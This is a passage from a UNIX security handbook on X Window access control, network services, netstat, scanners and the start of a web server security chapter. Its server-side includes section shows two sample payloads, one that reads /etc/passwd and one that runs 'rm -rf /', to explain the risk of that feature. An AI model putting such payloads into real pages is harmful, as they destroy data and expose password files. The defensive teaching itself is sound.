X clients can take over the mouse or the keyboard, send keystrokes to other applications, or even kill the windows associated with other clients. This capability allows considerable flexibility in the creation of new clients. Unfortunately, it also creates a rich opportunity for Trojan horse programs: the multi-user tank war game that you are running in a corner of your screen may actually be covertly monitoring all of the email messages that you type on your keyboard, or may be making a copy of every password that you type.

The simplest way for an X client program to monitor your keystrokes is to overlay the entire screen with a transparent, invisible window. Such a program records keystrokes, saves them for later use, and forwards the event to the appropriate subwindows so that the user can't tell that he or she is being monitored. Releases of the X Window System later than X11R4 have a "secure" feature on the xterm command that grabs the input from the keyboard and mouse in such a way that no transparent overlay can intercept the input. The xterm window changes color to show that this is in effect. The option is usually on a pop-up menu that is selected by holding down both the control key and the left mouse button. This is a partial fix, but it is not complete.

Rather than develop a system that uses access control lists and multiple levels of privilege, the designers of the X Window System have merely worked to refine the all-or-nothing access control. X Version 11, Release 6 has five different mechanisms for implementing access control. They are listed in Table 17.3.

17.3.21.3 The xhost facility

X maintains a host access control list of all hosts that are allowed to access the X server. The host list is maintained via the xhost command. The host list is always active, no matter what other forms of authentication are used. Thus, you should fully understand the xhost facility and the potential problems that it can create.

The xhost command lets users view and change the current list of "xhosted" hosts. Typing xhost by itself displays a list of the current hosts that may connect to your X Window Server.

% xhost
prose.cambridge.ma.us
next.cambridge.ma.us
%
Table 17.3: X Access Control Systems
System | Technique | Advantages | Disadvantages
xhost | User specifies the hosts from which client connections are allowed; all others are rejected. | Simple to use and understand. | Not suited to environments in which workstations or servers are used by more than one person at a time. Server is susceptible to IP spoofing.
MIT-MAGIC-COOKIE-1 | Xdm or user creates a 128-bit "cookie" that is stored in the user's .Xauthority file at login. Each client program reads the cookie from the .Xauthority file and passes it to the server when the connection is established. | Access to the user's display is limited to processes that have access to the user's .Xauthority file. | Cookies are transmitted over the network without encryption, allowing them to be intercepted. Cookies are stored in the user's .Xauthority file, making it a target.
XDM-AUTHORIZATION-1 | Xdm creates a 56-bit DES key and a 64-bit random "authenticator" that are stored in the user's .Xauthority file. Each client uses the DES key to encrypt a 192-bit packet that is sent to the X server to validate the connection. | X authenticator is not susceptible to network eavesdropping. | The authenticator is stored in the .Xauthority file, making it a target. If the user's home directory is mounted using NFS or another network filesystem, the 56-bit DES can be eavesdropped from the network when it is read by the X client program. This authorization system uses strong encryption and is therefore not exportable.
SUN-DES-1 | Authentication based on Sun's Secure RPC. Uses the xhost command as its interface. | Communication to the X server is encrypted with the X server's public key; the secret key is not stored in the .Xauthority file, removing it as a target. | Only runs on systems that have Sun Microsystem's Secure RPC (mostly Solaris). This authorization system uses strong encryption and is therefore not exportable.
MIT-KERBEROS-5 | Xdm obtains Kerberos tickets when the user logs in; these tickets are stored in a special credentials cache file that is pointed to by the KRB5CCNAME environment variable. | Extends the Kerberos network-based authentication system to the X Window System. | Credentials file is a target. Stolen tickets can be used after the user logs out. Kerberos can be a challenge to install.

You can add a host to the xhost list by supplying a plus sign, followed by the host's name on the command line after the xhost command. You can remove a host from the xhost list by supplying its name preceded by a hyphen:

% xhost +idr.cambridge.ma.us
idr.cambridge.ma.us being added to access control list
% xhost
next.cambridge.ma.us
prose.cambridge.ma.us
idr.cambridge.ma.us
% xhost -next.cambridge.ma.us
next.cambridge.ma.us being removed from access control list
% xhost
prose.cambridge.ma.us
idr.cambridge.ma.us

If you xhost a computer, any user on that computer can connect to your X Server and issue commands. If a client connects to your X Window Server, removing that host from your xhost list will not terminate the connection. The change will simply prevent future access from that host.

If you are using SUN-DES-1 authentication, you can use the xhost command to specify the network principals (users) who are allowed to connect to your X server. The xhost command distinguishes principals from usernames because principals contain an at sign (@). For example, to allow the network principal debby@oreilly to access your server, you could type:

prose% xhost debby@oreilly

If you are using MIT-KERBEROS-5 authentication, you can use the xhost command to specify the Kerberos users who are allowed to connect to your server. Kerberos usernames must be preceded by the string krb5:. For example, if you wished to allow the Kerberos user alice to access your server, you would use the command:

prose% xhost krb5:alice

The file /etc/X0.hosts contains a default list of xhost hosts for X display 0. This file contains a list of lines that determine the default host access to the X display. The format is the same as the xhost command: if a hostname appears by itself or is preceded by a plus sign, that host is allowed. If a hostname appears preceded by a minus sign, that host is denied. If a plus sign appears on a line by itself, access control is disabled.

For example, this file allows default access to X display 0 for the hosts oreo and nutterbutter:

% cat /etc/X0.hosts
-
+oreo
+nutterbutter

If you have more than one display, you can create files /etc/X1.hosts, /etc/X2.hosts, and so forth.

17.3.21.4 Using Xauthority magic cookies

Normally, the Xauthority facility is automatically invoked when you use the xdm terminal management system. However, you can also enable it manually if you start the X server yourself.

To start, you should preload your .Xauthority file with an appropriate key for your display. If you have the Kerberos or Sun Secure RPC mechanisms available, you should use those. Otherwise, you need to create a "magic cookie" for your current session. This cookie should be a random value that is not predictable to an attacker. (The script given in "A Good Random Seed Generator" in Chapter 23, Writing Secure SUID and Network Programs can be used for this.) You should generate your "cookie" and store it in your .Xauthority file (normally, $HOME/.Xauthority):

$ typeset -RZ28 key=$(randbits -n 14)
$ EXPORT XAUTHORITY=${XAUTHORITY:=$HOME/.Xauthority}
$ umask 077
$ rm -f $XAUTHORITY
$ cp /dev/null $XAUTHORITY
$ chmod 600 $XAUTHORITY
$ xauth add $HOSTNAME:$displ . $key
$ xauth add $HOSTNAME/unix:$displ . $key
$ xauth add localhost:$displ . $key
$ unset key

Next, when you start your X server, do so with the -auth option:

$ xinit -- -auth $XAUTHORITY

All your local client programs will now consult the .Xauthority file to identify the correct "magic cookie" and then send it to the server. If you want to run a program from another machine to display on this one, you will need to export the "cookies" to the other machine. If your home directory is exported with NFS, the file should already be available - you simply need to set the XAUTHORITY environment variable to the pathname of the .Xauthority file (or whatever else you've named it).

Otherwise, you can do something similar to:

$ xauth extract - $DISPLAY | rsh otherhost xauth merge -

Keep in mind that the "magic cookies" in this scheme can be read from your account or found by anyone reading network packets. However, this method is considerably safer than using the xhosts mechanism, and should be used in preference to xhosts when feasible.

NOTE: Versions of X11R6 xdm prior to public patch 13 contain a weakness in the xauth generation method, which allows an intruder to access its display. For details, see "CERT advisory VB-95:08.X_Authentication_Vul."

17.3.21.5 Denial of service attacks under X

Even if you use the xhost facility, your X Window System may be vulnerable to attack from computers that are not in your xhost list. Some X window servers read a small packet from the client before they determine whether or not the client is in the xhost list. If a client connects to the X server but does not transmit this initial packet, the X server halts all operation until it times out in 30 seconds.

You can determine whether your X server has this problem by executing the following command:

prose% telnet localhost 6000

Here, 6000 is the TCP/IP port address of the first X server on the system. (The second X display on the system has a TCP/IP address of 6001.)

If your X server has this problem, your workstation's display will freeze. The cursor will not move, and you will be unable to type anything. In some X implementations, the X server will time out after 30 seconds and resume normal operations. Under other X implementations, the server will remain blocked until the connection is aborted.

Although this attack cannot be used to destroy information, it can be used to incapacitate any workstation that runs one of these servers and is connected to the network. If you have this problem with your software, ask your vendor for a corrected update.

17.3.22 RPC rpc.rexd (TCP Port 512)

The rpc.rexd is a Sun RPC server that allows for remote program execution. Using rpc.rexd, any user who can execute RPC commands on your machine can run arbitrary shell commands.

The rpc.rexd daemon is usually started from the /etc/inetd.conf file with the following line:

# We are being stupid and running the rexd server without Secure RPC:
#
rexd/1          tli  rpc/tcp wait root /usr/sbin/rpc.rexd     rpc.rexd

As the comment indicates, you should not run the rexd server. We make this warning because running rexd without secure RPC basically leaves your computer wide open, which is why Sun distributes their /etc/inetd.conf file with rexd commented out:

# The rexd server provides only minimal
# authentication and is often not run
#
#rexd/1          tli  rpc/tcp wait root /usr/sbin/rpc.rexd     rpc.rexd

We think that vendors should remove the rexd line from the /etc/inetd.conf file altogether.

17.3.23 Other TCP Ports: MUDs and Internet Relay Chat (IRC)

Multi-User Dungeons (MUDS) are role-playing games that allow many people over a network to interact in the same virtual environment. Most MUDS are recreational, although some MUDS have been created to allow scientists and other professionals to interact. (The MIT Media Lab's MediaMOO is an example of such a virtual environment.)

Internet Relay Chat (IRC) is the Citizen's Band radio of the Internet. IRC permits real-time communication between many different people on different computers. Messages can be automatically forwarded from system to system.

While both MUDS and IRC can be useful and entertaining to use, these systems can also have profound security implications:

  • Because these systems permit unrestricted communication between people on your computer and others on the Internet, they create an excellent opportunity for social engineering. Often an attacker will tell a naive user that there is some "great new feature" that they can enable simply by typing a certain command - a command that then allows the attacker to log in and take over the user's account. Unfortunately, there is no simple way to protect users from this kind of attack, other than to educate them to be suspicious of what they are told by strangers on the net.

  • Most MUDS require users to create an account with a username and a password. Unfortunately, many users will blindly type the same username and password that they use for their UNIX account. This creates a profound security risk, as it permits anybody who has access to the MUD server (such as its administrator) to break into the user's UNIX account.

  • Although many MUDS and IRCS can be used with Telnet, they are more fun when used with specially written client programs. Unfortunately, some of these programs have been distributed with intentional security holes and back doors. Determining whether or not a client program is equipped with this kind of "feature" is very difficult.

  • Even if your MUD or IRC client doesn't have a built-in back door, many of these clients will execute commands from remote machines if such a feature is enabled by the user. The world of MUDS and IRCS is rife with malicious users who attempt to get unsuspecting users to enable these features.

  • The server programs for MUDS and IRCS can place a significant load on the computers on which they reside. Unfortunately, as MUDS and IRCS do not use "trusted ports," users can run their own servers even if they don't have root access.

Previous: 17.2 Controlling Access to Servers | Practical UNIX & Internet Security | Next: 17.4 Security Implications of Network Services
17.2 Controlling Access to Servers | Book Index | 17.4 Security Implications of Network Services


[Chapter 17] 17.4 Security Implications of Network Services

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 17.3 Primary UNIX Network Services Chapter 17
TCP/IP Services 		Next: 17.5 Monitoring Your Network with netstat

17.4 Security Implications of Network Services

Network servers are the portals through which the outside world accesses the information stored on your computer. Every server must:

  • Determine what information or action the client requests.

  • Decide whether or not the client is entitled to the information, optionally authenticating the person (or program) on the other side of the network that is requesting service.

  • Transfer the requested information or perform the desired service.

By their design, many servers must run with root privileges. A bug or an intentional back door built into a server can therefore compromise the security of an entire computer, opening the system to any user of the network who is aware of the flaw. Even a relatively innocuous program can be the downfall of an entire computer. Flaws may remain in programs distributed by vendors for many years, only to be uncovered some time in the future.

Furthermore, many UNIX network servers rely on IP numbers or hostnames to authenticate incoming network connections. This approach is fundamentally flawed, as neither the IP protocol nor DNS were designed to be resistant to attack. There have been many reports of computers that have fallen victim to successful IP spoofing attacks or DNS compromise.

Given these factors, you may wish to adopt one or more of the following strategies to protect your servers and data:

  • Use encryption to protect your data. If it is stolen, the data will do your attacker no good. Furthermore, making alterations in your data that you will not notice will be difficult, if not impossible.

  • Avoid using passwords and host-based authentication. Instead, rely on tokens, one-time passwords, or cryptographically secure communications.

  • Use a firewall to isolate your internal network from the outside world.

  • Disconnect your internal network from the outside world. You can still relay electronic mail between the two networks using UUCP or some other mechanism. Set up separate network workstations to allow people to access the WWW or other Internet services.

  • Create a second internal network for the most confidential information.

Bringing Up an Internet Server Machine: Step-by-Step

Although every site is unique, you may find the following step-by-step list helpful in bringing up new servers as securely as possible:

  1. Don't physically connect to the network before you perform all of the following steps. Because some network access may be needed to FTP patches, for example, you may need to connect as briefly as possible in single-user mode (so there are no daemons running), fetch what you need, disconnect physically, and then follow steps 2-12.

  2. Erase your computer's hard disk and load a fresh copy of your operating system.

  3. Locate and load all security-related patches. To find the patches, check with both your vendor and with CERT's FTP server, ftp.cert.org.

  4. Modify your computer's /etc/syslog.conf file so that logs are stored both locally and on your organization's logging host.

  5. Configure as few user accounts as necessary. Ideally, users should avoid logging into your Internet server.

  6. If your server is a mail server, then you may wish to have your users read their mail with POP. You will need to create user accounts, but give each user a /bin/nologin (or a shell script that simply prints a "no logins allowed" message) as their shell to prevent logins.

  7. Check all /etc/rc* and other system initialization files, and remove daemons you don't want running. (Use netstat to see what services are running.)

  8. Look through /etc/inetd.conf and disable all unneeded services. Protect the remaining services with tcpwrapper or a similar program.

  9. Add your own server programs to the system. Make sure that each one is based on the most up-to-date code.

  10. Get and install Tripwire, so you can tell if any files have been modified as the result of a compromise. (See Chapter 9, Integrity Management, for details.)

  11. Get and run Tiger to look for other problems.

  12. Monitor your system. Make sure that log files aren't growing out of control. Use the last command to see if people have logged in. Be curious.

  • Disable all services that you are not sure you need, and put wrappers around the rest to log connections and restrict connectivity.

Previous: 17.3 Primary UNIX Network Services | Practical UNIX & Internet Security | Next: 17.5 Monitoring Your Network with netstat
17.3 Primary UNIX Network Services | Book Index | 17.5 Monitoring Your Network with netstat


[Chapter 17] 17.5 Monitoring Your Network with netstat

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 17.4 Security Implications of Network Services Chapter 17
TCP/IP Services 		Next: 17.6 Network Scanning

17.5 Monitoring Your Network with netstat

You can use the netstat command to list all of the active and pending TCP/IP connections between your machine and every other machine on the Internet. This command is very important if you suspect that somebody is breaking into your computer or using your computer to break into another one. netstat lets you see which machines your machine is talking to over the network. The command's output includes the host and port number of each end of the connection, as well as the number of bytes in the receive and transmit queues. If a port has a name assigned in the /etc/services file, netstat will print it instead of the port number.

Normally, the netstat command displays UNIX domain sockets in addition to IP sockets. You can restrict the display to IP sockets only by using the -f inet option.

Sample output from the netstat command looks like this:

charon% netstat -f inet
Active Internet connections
Proto Recv-Q Send-
Q Local Address          Foreign Address        (state)
tcp   0      0      CHARON.MIT.EDU.telnet  GHOTI.LCS.MIT.ED.1300  ESTABLISHED
tcp   0      0      CHARON.MIT.EDU.telnet  amway.ch.apollo..4196  ESTABLISHED
tcp   4096   0      CHARON.MIT.EDU.1313    E40-008-7.MIT.ED.telne ESTABLISHED
tcp   0      0      CHARON.MIT.EDU.1312    MINT.LCS.MIT.EDU.6001  ESTABLISHED
tcp   0      0      CHARON.MIT.EDU.1309    MINT.LCS.MIT.EDU.6001  ESTABLISHED
tcp   0      0      CHARON.MIT.EDU.telnet  MINT.LCS.MIT.EDU.1218  ESTABLISHED
tcp   0      0      CHARON.MIT.EDU.1308    E40-008-7.MIT.ED.telne ESTABLISHED
tcp   0      0      CHARON.MIT.EDU.login   RING0.MIT.EDU.1023     ESTABLISHED
tcp   0      0      CHARON.MIT.EDU.1030    *.*                    LISTEN

NOTE: The netstat program only displays abridged hostnames, but you can use the -n flag to display the IP address of the foreign machine.

The first two lines of this output indicate Telnet connections between the machines GHOTI.LCS.MIT.EDUu and AMWAY.CH.APOLLO.COM and the machine CHARON.MIT.EDU. Both of these connections originated at the remote machine and represent interactive sessions currently being run on CHARON; you can tell this because these ports are greater than 1023 and are connected to the Telnet port. (They may or may not be unnamed.) Likewise, the third Telnet connection, between CHARON and E40-008-7.MIT.EDU, originated at CHARON to the machine E40-008-7. The next two lines are connections to port 6001 (the X Window Server) on MINT.LCS.MIT.EDU. There is a Telnet from MINT to CHARON, one from CHARON to E40-008-7.MIT.EDU, and an rlogin from RINGO.MIT.EDU to CHARON. The last line indicates that a user program running on CHARON is listening for connections on port 1030. If you run netstat on your computer, you are likely to see many connections. If you use the X Window System, you may also see "UNIX domain sockets" that are the local network connections from your X clients to the X Window Server.

With the -a option, netstat will also print a list of all of the TCP and UDP sockets to which programs are listening. Using the -a option will provide you with a list of all the ports that programs and users outside your computer can use to enter the system via the network. (Unfortunately, netstat will not give you the name of the program that is listening on the socket.)[20]:

[20] But the lsof command will. See the discussion about lsof in Chapter 25, Denial of Service Attacks and Solutions.

charon% netstat -a -f inet
Active Internet connections
Proto Recv-Q Send-
Q Local Address          Foreign Address        (state)

Previous netstat printout
...
tcp       0       0  *.telnet              *.*                    LISTEN
tcp       0       0  *.smtp                *.*                    LISTEN
tcp       0       0  *.finger              *.*                    LISTEN
tcp       0       0  *.printer             *.*                    LISTEN
tcp       0       0  *.time                *.*                    LISTEN
tcp       0       0  *.daytime             *.*                    LISTEN
tcp       0       0  *.chargen             *.*                    LISTEN
tcp       0       0  *.discard             *.*                    LISTEN
tcp       0       0  *.echo                *.*                    LISTEN
tcp       0       0  *.exec                *.*                    LISTEN
tcp       0       0  *.login               *.*                    LISTEN
tcp       0       0  *.shell               *.*                    LISTEN
tcp       0       0  *.ftp                 *.*                    LISTEN
udp       0       0  *.time                *.*
udp       0       0  *.daytime             *.*
udp       0       0  *.chargen             *.*
udp       0       0  *.discard             *.*
udp       0       0  *.echo                *.*
udp       0       0  *.ntalk               *.*
udp       0       0  *.talk                *.*
udp       0       0  *.biff                *.*
udp       0       0  *.tftp                *.*
udp       0       0  *.syslog              *.*
charon%

NOTE: There are weaknesses in the implementation of network services that can be exploited so that one machine can masquerade temporarily as another machine. There is nothing that you can do to prevent this deception, assuming that the attacker gets the code correct and has access to the network. This kind of "spoof" is not easy to carry out, but toolkits are available to make the process easier. Some forms of spoofing may require physical access to your local network, but others may be done remotely. All require exact timing of events to succeed. Such spoofs are often impossible to spot afterwards.

Previous: 17.4 Security Implications of Network Services | Practical UNIX & Internet Security | Next: 17.6 Network Scanning
17.4 Security Implications of Network Services | Book Index | 17.6 Network Scanning


[Chapter 17] 17.6 Network Scanning

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 17.5 Monitoring Your Network with netstat Chapter 17
TCP/IP Services 		Next: 17.7 Summary

17.6 Network Scanning

In recent years, a growing number of programs have been distributed that you can use to scan your network for known problems. Unfortunately, attackers can also use these tools to scan your network for vulnerabilities. Thus, you would be wise to get one or more of these tools and try them yourself, before your opponents do. See Appendix E, Electronic Resources, for information about obtaining these tools.

17.6.1 SATAN

SATAN is a package of programs written by Dan Farmer and Wietse Venema, two well-known security experts. The package probes hosts on a network for a variety of well-known security flaws. The results of the scan and the interface to the programs are presented in HTML and may be viewed using a WWW browser.

SATAN is large, and has a "footprint" that is relatively easy to detect. Several programs have been written that can warn if a host has been scanned with SATAN.

17.6.2 ISS

The Internet Security Scanner (ISS), is a smaller, more aggressive scanner than SATAN. It comes in two versions: a complex version that is sold commercially, and a freeware, stripped-down version. The commercial version is expensive, and we have no personal experience with it. However, we know people who have licensed the commercial version and use it frequently on their internal systems to check for problems.

Authorities with various FIRST teams report that the majority of network break-ins and intrusions they handle begin with use of the ISS freeware scanner.

17.6.3 PingWare

PingWare is a scanning program marketed by Bellcore. It is allegedly based on a series of shell scripts and programs, and provides scanning that is not as comprehensive as ISS. We have no personal experience with this product, and we have had no report from anyone who has actually used it, so we cannot comment on it further.

Previous: 17.5 Monitoring Your Network with netstat | Practical UNIX & Internet Security | Next: 17.7 Summary
17.5 Monitoring Your Network with netstat | Book Index | 17.7 Summary


[Chapter 17] 17.7 Summary

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 17.6 Network Scanning Chapter 17
TCP/IP Services 		Next: 18. WWW Security

17.7 Summary

A network connection lets your computer communicate with the outside world, but it can also permit attackers in the outside world to reach into your computer and do damage. Therefore:

  • Decide whether or not the convenience of each Internet service is outweighed by its danger.

  • Know all of the services that your computer makes available on the network and remove or disable those that you think are too dangerous.

  • Pay specific attention to trap doors and Trojan horses that could compromise your internal network. For example, decide whether or not your users should be allowed to have .rhosts files. If you decide that they should not have such files, delete the files, rename the files, or modify your system software to disable the feature.

  • Educate your users to be suspicious of strangers on the network.

Previous: 17.6 Network Scanning | Practical UNIX & Internet Security | Next: 18. WWW Security
17.6 Network Scanning | Book Index | 18. WWW Security


[Chapter 18] WWW Security

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 17.7 Summary Chapter 18 Next: 18.2 Running a Secure Server

18. WWW Security

Contents:
Security and the World Wide Web
Running a Secure Server
Controlling Access to Files on Your Server
Avoiding the Risks of Eavesdropping
Risks of Web Browsers
Dependence on Third Parties
Summary

This chapter explores a number of security issues that arise with use of the World Wide Web. Because of the complexities of the World Wide Web, some of the issues mentioned in this chapter overlap with those in other chapters in this book, most notably Chapter 6, Cryptography, Chapter 17, TCP/IP Services, and Chapter 23, Writing Secure SUID and Network Programs.

18.1 Security and the World Wide Web

The World Wide Web is a system for exchanging information over the Internet. The Web is constructed from specially written programs called Web servers that make information available on the network. Other programs, called Web browsers, can be used to access the information that is stored in the servers and to display it on the user's screen.

The World Wide Web was originally developed as a system for physicists to exchange papers pertaining to their physics research. Using the Web enabled the physicists to short-circuit the costly and often prolonged task of publishing research findings in paper scientific journals. Short-circuiting publishers remains one of the biggest uses of the Web today, with businesses, universities, government agencies, and even individuals publishing millions of screens of information about themselves and practically everything else. Many organizations also use the Web for distributing confidential documents within their organization, and between their organization and its customers.

Another exciting use of the Web today involves putting programs behind Web pages. Programs are created with a protocol called the Common Gateway Interface (CGI). CGI scripts can be quite simple - for example, a counter that increments every time a person looks at the page, or a guest book that allows people to "sign in" to a site. Or they might be quite sophisticated. For example, the FedEx package-delivery service allows its customers to use the company's World Wide Web server (http://www.fedex.com) to trace packages. Giving customers access to its computers in this manner simultaneously saves FedEx money and gives the customers better service.

Many other companies are now exploring the use of the WWW for electronic commerce. Customers browse catalogs of goods and services, select items, and then pay for them without anything other than a forms-capable browser.

The World Wide Web is one of the most exciting uses of the Internet. But it also poses profound security challenges. In order of importance, these challenges are:

  1. An attacker may take advantage of bugs in your Web server or in CGI scripts to gain unauthorized access to other files on your system, or even to seize control of the entire computer.

  2. Confidential information that is on your Web server may be distributed to unauthorized individuals.

  3. Confidential information transmitted between the Web server and the browser can be intercepted.

  4. Bugs in your Web browser (or features you are not aware of) may allow confidential info on your Web client to be obtained from a rogue Web server.

  5. Because of the existence of standards and patented technologies, many organizations have found it necessary to purchase specially licensed software. This licensed software, in turn, can create its own unique vulnerabilities.

Each of these challenges requires its own response. Unfortunately, some of the solutions that are currently being employed are contradictory. For example, to minimize the risk of eavesdropping, many organizations have purchased "secure" World Wide Web servers, which implement a variety of encryption protocols. But these servers require a digitally signed certificate to operate, and that certificate must be renewed on an annual basis. Consequently, organizations that are dependent on their WWW servers are exposed to interesting denial of service attacks.

NOTE: There are many Web servers currently in use, and there will be even more in use within the months after this book is published. While we were working on this book, several groups distributing Web servers announced or released several new versions of their programs.

It would be very difficult, and not very useful, for this chapter to discuss the specific details of specific Web servers. Besides the fact that there are too many of them, they are changing too fast, so any details included in this book would be out of date within a year of publication. The Internet is evolving too quickly for printed documentation to remain current.

For this reason, this chapter discusses Web security in fairly general terms. Specific examples, where appropriate, use the NCSA Web server (with brief mention of the CERN and WN servers), with the understanding that other Web servers may have similar or different syntax.

Security Information on the WWW

There are a few excellent resources on the World Wide Web pertaining to WWW security issues. If you are developing CGI programs or running a Web server, you should be sure to look them over, to see what has happened in the area of Web security since this book was published.

The references are currently located at:

http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html

Lincoln D. Stein's WWW Security FAQ.

http://www.primus.com/staff/paulp/cgi-security

Paul Phillips CGI security FAQ.

http://hoohoo.ncsa.uiuc.edu/cgi/security.html

NCSA's CGI security documentation.

http://www.cs.purdue.edu/coast/hotlist.html#securi01

The WWW section of the COAST Lab's hotlist.

Previous: 17.7 Summary | Practical UNIX & Internet Security | Next: 18.2 Running a Secure Server
17.7 Summary | Book Index | 18.2 Running a Secure Server


[Chapter 18] 18.2 Running a Secure Server

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 18.1 Security and the World Wide Web Chapter 18
WWW Security 		Next: 18.3 Controlling Access to Files on Your Server

18.2 Running a Secure Server

Web servers are designed to receive anonymous requests from unauthenticated hosts on the Internet and to deliver the requested information in a quick and efficient manner. As such, they provide a portal into your computer that can be used by friend and foe alike.

No piece of software is without its risk. Web servers, by their nature, are complicated programs. Furthermore, many organizations use Web servers with source code that is freely available over the Internet. Although this means that the source code is available for inspection by the organization, it also means that an attacker can scan that same source code and look for vulnerabilities.

The ability to add functions to a Web server through the use of CGI scripts tremendously complicates their security. While a CGI script can add new features to a Web server, it can also introduce security problems of its own. For example, a Web server may be configured so that it can only access files stored in a particular directory on your computer, but a user may innocently install a CGI script that allows outsiders to read any file on your computer. Furthermore, because many users do not have experience in writing secure programs, it is possible (and likely) that locally written CGI scripts will contain bugs allowing an outsider to execute arbitrary commands on your system. Indeed, several books that have been published on CGI programming have included such flaws.

Because of the richness of its tools, the plethora of programming languages, and the ability of multiple users to be logged in at the same time from remote sites over a network, the UNIX operating system is a remarkably bad choice for running secure Web servers. Because many PC-based operating systems share many of these characteristics, they are also not very good choices. Experience has shown that the most secure Web server is a computer that runs a Web server and no other applications, that does not have a readily accessible scripting language, and that does not support remote logins. In practice, this describes an Apple Macintosh computer running MacHTTP, WebStar, or a similar Web server. According to recent surveys, such computers comprise as many as 15% of the Web servers on the Internet.

Of course, there are many advantages to running a Web server on a UNIX computer instead of a Macintosh. UNIX generally runs faster than MacOS on comparable hardware, and UNIX is available for hardware platforms that run faster than PowerPC-based computers. Furthermore, it is generally easier for organizations to integrate UNIX-based Web servers with their existing information infrastructure, creating interesting possibilities for Web offerings. Finally, more MIS professionals have familiarity with building UNIX-based Internet servers than with building MacOS-based ones. Nonetheless, we suggest that the security-conscious administrator give the Mac-based approach serious thought.

To build a secure Web server on any platform, you must be able to assure a variety of things, including:

  • Network users must never be able to execute arbitrary programs or shell commands on your server.

  • CGI scripts that run on your server must perform either the expected function or return an error message. Scripts should expect and be able to handle any maliciously tailored input.

  • In the event that your server is compromised, an attacker should not be able to use it for further attacks against your organization.

The following sections explore a variety of techniques for dealing with these issues.

18.2.1 The Server's UID

Most Web servers are designed to be started by the superuser. The server needs to be run as root so it can listen to requests on port 80, the standard HTTP port.

Once the server starts running, it changes its UID to the username that is specified in a configuration file. In the case of the NCSA server, this configuration file is called conf/httpd.conf. In the file, there are three lines that read:

# User/Group: The name (or #number) of the user/group to run httpd as.
User http
Group http

This username should not be root. Instead, the user and group should specify a user that has no special access on your server.

In the example above, the user changes his UID to the http user before accessing files or running CGI scripts. If you have a CGI script that is to be run as superuser (and you should think very carefully about doing so), it must be SUID root. Before you write such a script, carefully read Chapter 23.

NOTE: Do not run your server as root! Although your server must be started by root, the http.conf file must not contain the line "User root". If it does, then every script that your Web server executes will be run as superuser, creating many potential problems.

18.2.2 Understand Your Server's Directory Structure

Web servers are complicated pieces of software. They use many files in many directories. The contents of some directories are made available over the network. The contents of other directories must not be made available over the network, and, for safety, should not be readable by users on your system. To run a secure server, you must understand the purpose of each directory, and the necessary protections that it must have.

The NCSA sever has six directories:

Directory | Purpose
cgi-bin | Holds CGI scripts
conf | Holds server configuration files
htdocs | Holds Web documents
icons | Holds Web documents
logs | Records server activity
support | Holds supplemental programs for the server

Many sources recommend creating a user called www and a group called www which can be used by the Web administrator to administrate the Web server:

drwxr-xr-x   5 www      www          1024 Aug  8 00:01 cgi-bin/
drwxr-x---   2 www      www          1024 Jun 11 17:21 conf/
-rwx------   1 www      www        109674 May  8 23:58 httpd
drwxrwxr-x   2 www      www          1024 Aug  8 00:01 htdocs/
drwxrwxr-x   2 www      www          1024 Jun  3 21:15 icons/
drwxr-x---   2 www      www          1024 May  4 22:23 logs/

This is an interesting approach, but we don't think that it adds much in the way of security. Because the httpd program is run as root, anybody who has the ability to modify this program has the ability to become the superuser. This is a particular vulnerability if you should ever move the server or configuration files onto an NFS-exported partition. Therefore, we recommend acknowledging this fact, and setting up your Web server directory with root ownership:

drwx--x--x  8 root     www         1024 Nov 23 09:25 cgi-bin/
drwx------  2 root     www         1024 Nov 26 11:00 conf/
drwxr-xr-x  2 root     www         1024 Dec  7 18:22 htdocs/
-rwx------  1 root     www       482168 Aug  6 00:29 httpd*
drwxrwxr-x  2 root     www         1024 Dec  1 18:15 icons/
drwx------  2 root     www         1024 Nov 25 16:18 logs/
drwxr-xr-x  2 root     www         1024 Aug  6 00:31 support/

Notice that the cgi-bin directory has access mode 711; this allows the httpd server to run programs that it contains, but it doesn't allow a person on the server to view the contents of the directory. More restrictions make probing for vulnerabilities more difficult.

18.2.2.1 Configuration files

Inside the conf directory, the NCSA server has the following files:

File | Purpose
access.conf | Controls access to the server's files.
httpd.conf | Configuration file for the server.
mime.types | Determines the mapping of file extensions to MIME file types.
srm.conf | Server Resource Map. This file contains more server configuration information. It determines the document root, whether or not users can have their own Web directories, the icon that is used for directory listings, the location of your CGI script directory, document redirections, and error messages.

Because the information in these files can be used to subvert your server or your entire system, you should protect the scripts so they can only be read and modified by the superuser:

-rw-------  1 root     wheel        954 Aug  6 01:00 access.conf
-rw-------  1 root     wheel       2840 Aug  6 01:05 httpd.conf
-rw-------  1 root     wheel       3290 Aug  6 00:30 mime.types
-rw-------  1 root     wheel       4106 Nov 26 11:00 srm.conf

18.2.2.2 Additional configuration issues

Besides the setting of permissions, you may wish to enable or disable the following configuration options:

Automatic directory listings

Most Web servers will automatically list the contents of a directory if a file called index.html is not present in directory. This feature can cause security problems, however, as it gives outsiders the ability to scan for files and vulnerabilities on your system.

Symbolic-link following

Some servers allow you to follow symbolic links outside of the Web server's document tree. This allows somebody who has access to your Web server's tree to make other documents on your computer available for Web access. You may not want people to be able to do this, so don't enable the following of symbolic links. Alternatively, you may wish to set your Web server's symlinks "If Owner Match" option, so that links are followed only if the owner of the link matches the owner of the file that it points to.

Server-side includes

Server-side includes are directives that can be embedded in an HTML document. The includes are processed by the HTML server before the document is sent to a requesting client. Server-side includes can be used to include other documents or to execute documents, and output the result.

Here are two sample server-side includes that demonstrate why their use is a bad idea:

<!--#include file="/etc/passwd">

<!--#exec cmd="rm -rf /&;cat /etc/passwd">

The first include provides an attacker with the contents of your /etc/passwd file, allowing them to wage a password-cracking attack. The second launches a background process that attempts to delete every writable file on your computer. Then it provides the attacker with a copy of your /etc/passwd file.

Fortunately, server-side includes must be specifically enabled on most Web servers. They are normally turned off.

Some servers, such as the NCSA server, allow you to limit processing of server-side includes to specific directories. The NCSA server uses the Options directive to control includes. Specify the option Includes for all server-side includes; specify the option IncludesNOEXEC to specify textual includes but to disable the execution of commands.

